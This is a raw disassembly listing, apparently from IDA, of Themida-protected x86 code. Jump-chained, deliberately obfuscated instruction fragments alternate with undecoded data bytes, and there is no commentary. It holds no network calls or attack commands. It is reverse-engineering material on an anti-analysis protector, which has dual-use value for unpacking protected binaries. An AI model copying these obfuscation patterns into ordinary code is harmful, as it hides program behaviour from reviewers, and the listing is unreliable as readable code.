; ---------------------------------------------------------------------------
		dw 48Fh
		dd 35E95C24h, 66000002h, 67E932FFh, 4DFFFF94h, 0BB53DDF7h
		dd 45EA2A27h, 4307EBC1h, 1F1EE9h
		db 0
; ---------------------------------------------------------------------------


loc_54C34D:				; CODE XREF: Themida_:0054CF9Dj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54C733
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4BA52h, 0D1290000h, 0EA00E95Ah, 0EB83FFFFh, 2642E9FFh
		dd 0B9510000h, 730C2BA1h, 0C981D9F7h, 6CEF0EE3h, 0F1814949h
		dd 0ECFFDEF9h, 5659CF01h, 4BEh,	2248E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C396:				; CODE XREF: Themida_:0054A7B6j
		add	al, 44h
		dec	al
		or	al, 62h
		add	al, 0FAh
		inc	al
		and	al, 0D7h
		jmp	loc_54D50A
; ---------------------------------------------------------------------------
		db 68h
		dd 3663h, 54243C89h, 0D0BD555Fh, 5279E66Ch, 557EC4BAh
		dd 3BB5310h, 2120C417h,	241C8BDAh, 4C481h, 0EA810000h
		dd 65914ABCh, 0E9E2D14Ah, 0FFFF92F3h, 240C8B66h, 0FF96E8E9h
		dd 4C481FFh, 83000000h,	97E904C4h, 81FFFF81h, 305EDCF1h
		dd 0FFC82901h, 0C8B2434h, 4C48124h, 83000000h, 0D00104C4h
		dd 7464DD05h, 24148B63h, 0E9E18951h, 187Dh, 54CEC281h
		dd 0F2297EF9h, 54CEEA81h, 0C15E7EF9h, 895207EAh, 3F5968E2h
		dd 0C890000h, 4B924h, 0CA010000h, 2FBE5659h, 0F7129A71h
		dd 33C681DEh, 0E9129A71h, 0FFFFB7BCh, 835FF801h, 48704E8h
		dd 0AAE95C24h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C463:				; CODE XREF: Themida_:0054D790j
		push	ebx
		mov	ebx, 20862799h
		push	ebp
		mov	ebp, 0DF79D86Bh
		add	ebx, ebp
		pop	ebp
		sub	edx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2EAA5BB2h
		mov	ebp, 2EAA9BB2h
		sub	ebp, edi
		jmp	loc_54B8BE
; ---------------------------------------------------------------------------
		db 35h
		dd 77E42E88h, 0FFBAD6E9h, 36EB81FFh, 166BE94h, 0C2815BDAh
		dd 4, 31241433h, 14332414h, 1AFAE924h, 1C8B0000h, 4C48124h
		dd 0FF000000h, 515F2434h, 0C181E189h, 4, 4BE56h, 6BE90000h
		dd 4FFFFAAh, 0B3535B16h, 0B55166CEh, 80D5F613h,	48E978C5h
		dd 59FFFF85h, 2372B951h, 0D1F74132h, 8102E1C1h,	602F50F1h
		dd 0DA92E984h, 0E2DFFFFh, 8B378506h, 8952243Ch,	4C281E2h
		dd 83000000h, 148704C2h, 24248B24h, 405h, 24043300h, 3F8CE9h
		dd 81FD0100h, 5B5BD1C5h, 2C875F4Bh, 0EC815C24h,	4, 81241489h
		dd 4ECh, 240C8900h, 0E950515Ah,	0FFFFD4E1h, 2404FF66h
		dd 8018E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C572:				; CODE XREF: Themida_:0054DAAEj
		mov	[esp], esi
		push	4
		pop	esi
		add	ecx, esi
		jmp	loc_55048B
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 8038B524h, 0DDF66CEDh, 0F605EDC0h, 26ED80D5h, 1B39E9h
		dd 4028BE00h, 0E68153B7h, 1A1C5BE0h, 8107EEC1h,	36203DC6h
		dd 5EF03116h, 0FF9DFDE9h, 5E089FFh, 4, 75D968h,	241C8900h
		dd 64FD68h, 24348900h, 63767D68h, 24348B4Ah, 214CE9h, 4B720500h
		dd 34FF555Dh, 89515F24h, 2211E9E1h, 895A0000h, 0B6B0E9F9h
		dd 77FFFFFFh, 58669D1Ch, 24041966h, 7F88E99Ch, 0D001FFFFh
		dd 108685Ah, 1C890000h,	0ABF5724h, 57728A3Eh, 270CE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C61A:				; CODE XREF: Themida_:0054B0D5j
		push	0A37h
		mov	[esp], ebp
		push	edx
		push	8A7h
		mov	[esp], eax
		push	39F26856h
		jmp	loc_54B5C0
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 243C895Ch, 0BF91E954h, 0F181FFFFh, 411B1895h, 876DE981h
		dd 0C83123A3h, 1570E959h, 52660000h, 0F02015B6h, 8E95A66h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54C663:				; CODE XREF: Themida_:00549D74j
		sub	edi, 75F7474Dh
		push	dword ptr [esp]
		pop	esi
		jmp	loc_546B3E
; ---------------------------------------------------------------------------
		dw 5D68h
		dd 8900006Fh, 0BAB82404h, 0C10E601Ch, 0D6E904E8h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_54C687:				; CODE XREF: Themida_:00544A90j
		push	ecx
		mov	ecx, 0B15DC1EFh
		jmp	loc_54EFD5
; ---------------------------------------------------------------------------


loc_54C692:				; CODE XREF: Themida_:0054CB55j
		xor	ecx, 76713B51h
		and	eax, ecx
		jmp	loc_54DAF3
; ---------------------------------------------------------------------------
		db 0B3h
		dd 66D9282Ah, 4EC835Bh,	52240489h, 0D488CA88h, 58E6885Ah
		dd 0E84EE959h, 6C68FFFFh, 0E900001Ah, 18B8h, 0E9240489h
		dd 0FFFF9C21h, 0FBE95266h, 66FFFF8Ch, 664707B8h, 5866C201h
		dd 0FFE114E9h, 15B951FFh, 0E96FDF06h, 0FFFFC429h, 0E932FF64h
		dd 1FCBh, 0E92434FFh, 0F41h, 8034B252h,	0EA8005E2h, 62B1511Ah
		dd 0E907E980h, 0FFFFFA35h, 4C681h, 9DE90000h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C71B:				; CODE XREF: Themida_:00544760j
		add	ebx, 0F181FB1h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3D3794B1h
		xor	ebx, ecx
		jmp	loc_545A3A
; ---------------------------------------------------------------------------


loc_54C733:				; CODE XREF: Themida_:0054C356j
		push	ebx
		mov	ebx, 71631528h
		add	ebx, 688D56D0h
		xor	ebx, 763712C9h
		and	ebx, 22D10028h
		add	ebx, 34E242BDh
		inc	ebx
		add	ebx, 0CFE508A3h
		jmp	loc_54E335
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0F6h
		dd 491D0418h, 5641D9F7h, 862F21BEh, 1EE8356h, 0B9B3C681h
		dd 0F1298D5Bh, 35D2055Eh, 0C801376Fh, 6F35D22Dh, 240C8B37h
		dd 0FFA5C1E9h, 4B8FFh, 0EA810000h, 46233E26h, 4E9C201h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C79F:				; CODE XREF: Themida_:005472BCj
		push	eax
		jmp	loc_54FA48
; ---------------------------------------------------------------------------


loc_54C7A5:				; CODE XREF: Themida_:00549CB1j
		inc	ebx
		jmp	loc_54FDB1
; ---------------------------------------------------------------------------


loc_54C7AB:				; CODE XREF: Themida_:00546FA0j
		push	eax
		mov	eax, 38B4885h
		sub	ebp, eax
		pop	eax
		shl	ebp, 8
		not	ebp
		sub	ebp, 0BCA1CDFBh
		jmp	loc_54AB5D
; ---------------------------------------------------------------------------
		dd 0DF668h, 24148900h, 4B3FBB53h, 1BA4FDDh, 0E942FC2Bh
		dd 324Fh, 0E9242C8Bh, 0FFFFE2AFh, 4BFh,	0E9FB0100h, 0FFFFE5DEh
		dd 0A304C204h, 0B252C800h, 8BD028A3h, 0C4812414h, 4, 0E978B252h
		dd 0FFFFB9C7h, 4C48159h, 81000000h, 4C1h, 2C18300h, 4EC81h
		dd 0C890000h, 2474FF24h, 48F5904h, 4D35C24h, 53E99C24h
		dd 81FFFF7Dh, 4C4h, 8BD60100h, 0C4812414h, 4, 0E9243487h
		dd 0FFFFA6E0h, 24048B66h, 33F86855h, 8E90000h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C85F:				; CODE XREF: Themida_:0054AF87j
		push	ebx
		mov	ebx, 23994F6Fh
		inc	ebx
		inc	ebx
		shr	ebx, 5
		jmp	loc_547317
; ---------------------------------------------------------------------------
		db 81h
		dd 0F7FFF2C7h, 0E9FE89F3h, 0FFFF8972h, 5D2434FFh, 4904C483h
		dd 0C1D7E981h, 992D770Ah, 29164B3Eh, 5FB951C8h,	81461147h
		dd 7D03E6C1h, 83E18131h, 8130054Eh, 0B90B68E9h,	0D8E8E919h
		dd 0C680FFFFh, 3003B3CDh, 3FE95AF3h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C8BB:				; CODE XREF: Themida_:0054B3F9j
		neg	ecx
		sub	ecx, 0EEDEDF6Fh
		jmp	loc_5480A4
; ---------------------------------------------------------------------------
		dd 8B241487h, 0C0E92424h, 66FFFFF4h, 661ED968h,	52241C89h
		dd 0C6FE62B6h, 0C0D8CE80h, 0EEC007E6h, 0F8F68006h, 47E9F388h
		dd 2C000012h, 0C0C50CD6h, 690404E8h, 6608E8C0h,	0E0B25253h
		dd 79E9h, 242C8100h, 605F2811h,	582434FFh, 148B5452h, 12556824h
		dd 3C890000h, 0E9E78924h, 0FFFFDB00h, 0C181E189h, 4, 4C181h
		dd 0E9510000h, 1CB5h, 1FED68h, 24048900h, 0FF7C41E9h, 78E959FFh
		dd 0FFFFFF8Fh, 1C8B2434h, 4C48124h, 68000000h, 2498h, 89242C89h
		dd 4C581E5h, 0E9000000h, 2DEEh
; ---------------------------------------------------------------------------


loc_54C970:				; CODE XREF: Themida_:00544B5Dj
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_546E82
; ---------------------------------------------------------------------------
		dw 0CA80h
		dd 80CAFE4Bh, 0CAFE94CAh, 8855C280h, 4B045AD7h,	0FFA22CE9h
		dd 0FC330FFh, 0A3E9C0B6h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C9A3:				; CODE XREF: Themida_:0054B8B9j
		shl	edx, 3
		shr	edx, 4
		not	edx
		dec	edx
		sub	edx, 4E515142h
		jmp	loc_54E5A7
; ---------------------------------------------------------------------------
		db 83h
		dd 0F00207Fh, 0FFD57384h, 525355FFh, 0E7100468h, 0D730E974h
		dd 0F181FFFFh, 7EB350FFh, 3CB5C981h, 49497B2Fh,	20ACE9h
		dd 2BE00h, 0F3010000h, 241C875Eh, 0F20E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C9F1:				; CODE XREF: Themida_:00550668j
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 5B096549h
		and	ebp, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54B90B
; ---------------------------------------------------------------------------
a1Hi3		db '1цh⌡3',0
		dd 240C8900h, 2CB9h, 53E98100h,	1028364h, 6FE952F9h, 66FFFFC2h
		dd 59C80058h, 50A1B252h, 0DCF645B4h, 0FF956CE9h, 2474FFFFh
		dd 0B7A3E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CA56:				; CODE XREF: Themida_:0054E30Aj
		dec	edx
		shr	edx, 6
		xor	edx, offset byte_5A6531
		jmp	$+5
		and	eax, edx
		jmp	loc_545E05
; ---------------------------------------------------------------------------
		dd 4EC81h, 8F540000h, 89512404h, 4C181E1h, 68000000h, 2E0Ch
		dd 0BB241C89h, 4, 4687E981h, 89E90200h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CA97:				; CODE XREF: Themida_:00546DAAj
		mov	ebp, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_54E8A6
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 76280CCBh, 0FF7D4CE9h, 5BDA28FFh, 148BD030h,	4C48324h
		dd 0E9AFB151h, 0FFFF7EF6h, 57CE981h, 0F1812426h, 8F48C68Ch
		dd 0FEEE9h, 0D831AD00h,	81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 68240C89h, 0BA35FB7h, 259BE959h, 0E9540000h,	1601h
		dd 170685Ah, 34890000h,	81E68924h, 4C6h, 4BB5300h, 1000000h
		dd 0F6EEE9DEh, 8B66FFFFh, 7CE9240Ch, 5CFFFFF8h,	6856C331h
		dd 4FFCh, 8B240489h, 0C4832434h, 33E95604h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CB43:				; CODE XREF: Themida_:0054A217j
		xor	eax, 40802D85h
		push	516Bh
		mov	[esp], ecx
		mov	ecx, 74713B51h
		jmp	loc_54C692
; ---------------------------------------------------------------------------


loc_54CB5A:				; CODE XREF: Themida_:00547312j
		mov	eax, 4
		jmp	loc_54D2F0
; ---------------------------------------------------------------------------
		dd 9FE95866h, 66FFFF87h, 0DA16E952h, 489FFFFh, 0E977B024h
		dd 0FFFF936Bh, 73736851h, 0EBE90000h, 9FFFFFFh,	65E91C5Fh
		dd 0B8000018h, 4F1D4D19h, 0D8F7D8F7h, 0FFE49CE9h, 75F781FFh
		dd 0C1E6A461h, 0E95208E7h, 2B4Ch, 0D3F6CBFEh, 0E9E1E380h
		dd 0FFFFFB14h, 0B3B75366h, 5B66FE28h, 285AF488h, 24048BE1h
		dd 4C481h, 75E90000h, 4000002h,	72E95BCEh, 5C00000Ch, 0BD242C89h
		dd 2, 2C8BEA29h, 4C48124h, 87000000h, 248B2414h, 4896624h
		dd 798CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CBFE:				; CODE XREF: Themida_:0054DB04j
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55038B
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	6C3h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_544796
; ---------------------------------------------------------------------------


loc_54CC5B:				; CODE XREF: Themida_:0054F88Fj
		push	edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0DF02942h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1B133173h
		or	edi, 5E783C06h
		jmp	loc_549464
; ---------------------------------------------------------------------------


loc_54CC88:				; CODE XREF: Themida_:00547AB0j
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_54458A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 3DE95324h, 4DFFFF83h, 6246ED81h, 0C5817AD3h,	25332BA5h
		dd 0D11E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CCB1:				; CODE XREF: Themida_:0054DB91j
		push	ecx
		jmp	loc_54A409
; ---------------------------------------------------------------------------
		db 51h
		dd 51EE9h, 4EC8100h, 89000000h,	1768241Ch, 89000022h, 0B8502434h
		dd 8EE5B58h, 8E39FF25h,	25E354Dh, 0E5054925h, 89CA7C56h
		dd 0E95658C6h, 19A4h, 8B240433h, 0E9F72424h, 427868h, 24348900h
		dd 0FFF54FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CD01:				; CODE XREF: Themida_:0054B530j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 400h
		mov	edx, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54F606
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 9Eh
		dd 123250Dh, 0C2815BDAh, 731207ACh, 0CEAEA81h, 0BF5729CDh
		dd 30F14801h, 4F0FCF81h, 0E957782Bh, 21BCh, 31240433h
		dd 4332404h, 24248B24h,	24043166h, 8D80E99Ch, 305AFFFFh
		dd 0C8B66C8h, 2C48324h,	0FF7C20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CD75:				; CODE XREF: Themida_:0054F102j
		add	edi, 4
		jmp	loc_544B13
; ---------------------------------------------------------------------------


loc_54CD80:				; CODE XREF: Themida_:00545BB3j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_54E2A9
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFFD143h, 0ED4A06BBh, 5BD8290Eh, 762EBA52h, 0F281319Ch
		dd 4CEE3CF2h, 0E95AD001h, 0FFFFF331h, 52242C89h, 5C0A80BAh
		dd 5AD58956h, 0E5C1E5D1h, 2C58103h, 819A3F58h, 0CF214FC1h
		dd 55E9014Dh, 0A60D95BDh, 33B9E964h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CDD6:				; CODE XREF: Themida_:0054DEF8j
		pop	esi
		jmp	loc_54EEF6
; ---------------------------------------------------------------------------
aBu@5Hh		db '│Н"@5╤hH\',0
		dw 8900h
		dd 0AFBB241Ch, 526F5E10h, 8115FEBAh, 29A7E91Ah,	0EF010000h
		dd 5FF9315Dh, 108FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54CE05:				; CODE XREF: Themida_:005494BDj
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 7D966F87h
		jmp	loc_54AAA9
; ---------------------------------------------------------------------------
		dd 0FF776DE9h, 815D54FFh, 4C5h,	4EC8100h, 89000000h, 27B9240Ch
		dd 4935AA4Dh, 0E905E9C1h, 0FFFF785Dh, 962DF001h, 0E96D3D2Eh
		dd 0FFFFD149h, 34FFC830h, 46E95924h, 5AFFFF8Bh,	1EE94A42h
		dd 88000022h, 66E788FEh, 5E7C058h, 0E904E7C0h, 1CA5h, 241C8B66h
		dd 8904EC83h, 0E2892414h, 6579BD55h, 0ED814077h, 1DB40E6Ch
		dd 0BBF7E94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CE8A:				; CODE XREF: Themida_:0054859Cj
		std
		push	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7F341C12h
		jmp	loc_54FE61
; ---------------------------------------------------------------------------


loc_54CE9F:				; CODE XREF: Themida_:0054AA0Dj
		sub	ebx, 442810C0h
		pop	edx
		add	ebx, edi
		jmp	loc_54B570
; ---------------------------------------------------------------------------


loc_54CEAD:				; CODE XREF: Themida_:0054BDADj
		pop	ebx
		add	al, 0F9h
		add	al, bl
		sub	al, 0F9h
		push	ecx
		mov	cl, 0BEh
		add	cl, 42h
		add	al, 26h
		sub	al, cl
		sub	al, 26h
		pop	ecx
		push	edx
		push	ebx
		mov	bl, 0D4h
		mov	dh, 0FAh
		xor	dh, bl
		jmp	loc_545D43
; ---------------------------------------------------------------------------


loc_54CECE:				; CODE XREF: Themida_:00546E90j
		dec	edx
		and	edx, 462942BEh
		add	edx, 462915AEh
		jmp	loc_545529
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 68582434h, 1CECh, 68241C89h, 3F0Ah, 83242489h
		dd 8B042404h, 0C483241Ch, 894DE904h, 0AE25FFFFh, 0C1664933h
		dd 430505E0h, 0E9AEF88Ch, 0CF6h, 0F5E9D988h, 66FFFFE3h
		dd 9C2404D3h, 0FF7661E9h, 242C8BFFh, 81E28952h,	4C2h, 4C28300h
		dd 3490E9h, 66D00000h, 52E95B5Ah, 0E9FFFFFAh, 0FFFF763Eh
; ---------------------------------------------------------------------------


loc_54CF4C:				; CODE XREF: Themida_:0054C280j
		pop	esp
		jmp	loc_54BFC7
; ---------------------------------------------------------------------------
		dw 0C631h
		dd 0FF851AE9h, 50E389FFh, 10B5BB53h, 0B8500699h, 69910B1h
		dd 0F6E9C331h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CF6F:				; CODE XREF: Themida_:0054B6BAj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_54EFDD
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		push	594h
		mov	[esp], esi
		mov	esi, 1EC6552Fh
		push	edi
		jmp	loc_54E40E
; ---------------------------------------------------------------------------


loc_54CF9C:				; CODE XREF: Themida_:0054E16Fj
		push	esi
		jmp	loc_54C34D
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5257240Ch, 0B951E289h, 2E793A68h, 81D9F741h,	793A6DC1h
		dd 59CA012Eh, 0FF83E2E9h, 24248BFFh, 0FF75C1E9h, 4EC83FFh
		dd 0B8240489h, 52B95123h, 4244429h, 0FFBDF0E9h,	32CEB9FFh
		dd 0DDBF25FDh, 0E91FA9D9h, 0FFFF850Eh, 8107E2C1h, 269FE4C2h
		dd 7E2C11Ah, 82E9D2F7h,	81FFFF94h, 0FBA0AC2h, 5AD189FBh
		dd 0E959CE01h, 0FFFF9B12h, 582CB951h, 0E1D16FD5h, 8D1CF181h
		dd 0CD01EEA8h, 0F7D5F759h, 53CD81D5h, 8144732Bh, 0B00EB0F5h
		dd 8BE92981h, 0C481242Ch, 4, 8DBE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D042:				; CODE XREF: Themida_:00546748j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54A0C1
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6892434h, 0FF8E93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D065:				; CODE XREF: Themida_:0054A3D4j
		jmp	loc_54458A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 89241C89h, 6BE955E3h,	66FFFF80h, 41E95350h
		dd 2DFFFF8Fh, 295F6FC3h, 4805E8C1h, 6B209F2Dh, 58C10172h
		dd 0EDE9CB31h, 5BFFFFA0h, 0E958C100h, 0FFFF9D4Bh, 4C781h
		dd 0C7830000h, 243C8704h, 0F2E9515Ch
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D0BB:				; CODE XREF: Themida_:0054FA43j
		pop	edx
		xchg	esi, [esp]
		jmp	loc_54FB90
; ---------------------------------------------------------------------------
		dd 0C89665Ch, 0E7B45024h, 6606E4C0h, 0E9F7B252h, 0FFFF9D3Bh
		dd 0E9241C89h, 0FFFFBD1Bh, 24348B5Ah, 5304C483h, 0FFE1D7E9h
		dd 75EF81FFh, 152A16Ah,	1F77E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D0FA:				; CODE XREF: Themida_:00547853j
		add	ebp, ebx
		jmp	loc_54B52F
; ---------------------------------------------------------------------------


loc_54D101:				; CODE XREF: Themida_:00549E62j
		add	esp, 4
		sub	ebx, 2B1A4DAEh
		add	ebx, esi
		add	ebx, 2B1A4DAEh
		pop	esi
		and	eax, ebx
		jmp	loc_54BC26
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0Ah
		dd 1322518h, 0DDE95DE8h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D12B:				; CODE XREF: Themida_:00545B41j
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	bh, 21h
		jmp	loc_54EC25
; ---------------------------------------------------------------------------
		dd 52A6B850h, 17E953B2h, 52FFFFD8h, 9B3D4BBAh, 5AD0891Ch
		dd 33B5E9h, 5BDA8900h, 5E08950h, 4, 28BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_54D165:				; CODE XREF: Themida_:0054A885j
		pop	ebx
		or	eax, eax
		jmp	loc_544EE2
; ---------------------------------------------------------------------------
aZRS		db 'Z(пR╡≤',0
		dd 0C8045AD0h, 0F618B252h, 80B353D2h, 2803EB80h, 0D0005BDAh
		dd 2434FF5Ah, 4C4815Ah,	66000000h, 2D1D6853h, 36E90000h
		dd 89FFFF74h, 268242Ch,	8B000000h, 0C481242Ch, 4, 9854DF2Dh
		dd 68E80158h, 59Dh, 0FFAF23E9h,	52C329FFh, 3957CFBAh, 503E686Dh
		dd 4890000h, 5D05B824h,	89E975CBh, 0B9FFFFCEh, 7CC743CFh
		dd 15CCE981h, 0CF8925FAh, 0FFA279E9h, 4C481FFh,	81000000h
		dd 5D7FC8EBh, 0DC52E959h, 5455FFFFh, 5D2434FFh,	0FF9AECE9h
		dd 346B68FFh, 815E1F72h, 4D1D50EEh, 81DEF739h, 1B1C30F6h
		dd 58F68130h, 895E7AFCh, 0E7815EF7h, 0EE54A16h,	6EE0F781h
		dd 4E97F70h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D237:				; CODE XREF: Themida_:0054D97Ej
		push	3096h
		jmp	loc_54F277
; ---------------------------------------------------------------------------


loc_54D241:				; CODE XREF: Themida_:00549AB7j
		shr	cl, 3
		xor	cl, 0D2h
		or	cl, 9Bh
		jmp	loc_5493C4
; ---------------------------------------------------------------------------


loc_54D24F:				; CODE XREF: Themida_:0054DDFFj
		mov	eax, 75092057h
		jmp	loc_545992
; ---------------------------------------------------------------------------
aSiIX0ss	db 'S┬ц┬щ[X0ХИ/#',0
		dw 8900h
		dd 4812424h, 424h, 0B9515D00h, 38E746E6h, 5219C181h, 0E9C103C9h
		dd 0A8C2E904h, 0C281FFFFh, 1F5CCBC6h, 1AE9D189h, 0BAFFFFECh
		dd 7AE00368h, 2277E9h, 81FB0100h, 0D87043EBh, 79C3815Fh
		dd 5F13F353h, 0FF7EF3E9h, 0BB1B9FFh, 0CE314BADh, 4E94E59h
		dd 51FFFFB7h, 4B9h, 0EDBB5300h,	0C151EA36h, 8EE908EBh
		dd 81FFFF9Ch, 556F08CFh, 0D2EF811Dh, 0C14EDB4Dh, 0EFC108E7h
		dd 9EF78104h, 0E953DF7Bh, 0FFFF7939h
; ---------------------------------------------------------------------------


loc_54D2F0:				; CODE XREF: Themida_:0054CB5Fj
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_54B9DF
; ---------------------------------------------------------------------------
		dd 240C8B66h, 48CC68h, 24048900h, 0B9515854h, 69AD05F9h
		dd 4F17C981h, 0E1C14E75h, 0ECE98104h, 0E9FFD4FFh, 0FFFFDE3Ch
		dd 4C281h, 14870000h, 0B4685C24h, 89000078h, 56E9241Ch
		dd 0FFFFFF77h, 5A042474h, 0E924048Fh, 0A59h, 0E5280ABFh
		dd 4EFC16Ah, 0EFC1EFD1h, 20B95107h, 313BAE1Dh, 0B85059CFh
		dd 18D710Ah, 0AC5E1C2Dh, 58C70185h, 0AED6F781h,	0FB01ABD2h
		dd 0ECD1E95Fh, 74FFFFFFh, 64E90424h, 81FFFF8Ch,	0B8205DC7h
		dd 55D7F71Dh, 861A5BDh,	0D173E97Eh, 47BEFFFFh, 89000539h
		dd 0E8895EF5h, 55242C8Bh, 0C5815D54h, 4, 4BB53h, 92E90000h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D3BB:				; CODE XREF: Themida_:0054F5E9j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_549C6C
; ---------------------------------------------------------------------------
		dd 7FA9ED81h, 0E8896FFBh, 0C589555Dh, 8B5DEF89h, 0C4812404h
		dd 4, 3C8BFE01h, 4C48124h, 83000000h, 343302C6h, 0A4F0E924h
		dd 48FFFFFh, 24248B24h,	739B850h, 430D752Ah, 0F7021C7Fh
		dd 3CE405D8h, 0F9354F2Ch, 1840AFBh, 0FA3E9C3h, 6DB00000h
		dd 8058C730h, 5066BEE7h, 0F988CC88h, 5866E788h,	7C1E9h
		dd 240C8900h, 6163BE56h, 0C68159EFh, 0FFFFFFFFh, 8103EEC1h
		dd 47FFECEh, 0F6814E5Fh, 335DE52Eh, 0CBE9F189h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D463:				; CODE XREF: Themida_:00550045j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5504B1
; ---------------------------------------------------------------------------


loc_54D46E:				; CODE XREF: Themida_:005447ADj
		pop	ax
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAsg		db 'aИ┐$',0
		align 4
		dd 0E45BB505h, 0E838E949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D486:				; CODE XREF: Themida_:0054BD2Aj
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_545390
; ---------------------------------------------------------------------------
		db 1
		dd 0BE2FE9D7h, 0E1C1FFFFh, 0A4F18108h, 81370E11h, 1110A3E9h
		dd 685152B3h, 5C9A730Fh, 3E9C159h, 2592C981h, 0F1810BC6h
		dd 0BD76FD7h, 159CA89h,	0E90A01FAh, 0FFFFC99Fh
; ---------------------------------------------------------------------------


loc_54D4D0:				; CODE XREF: Themida_:00545AB3j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_54788C
; ---------------------------------------------------------------------------
		db 68h
		dd 56CC0895h, 83243C8Bh, 0E7C104C4h, 0ECCF8104h, 5357FB2Ch
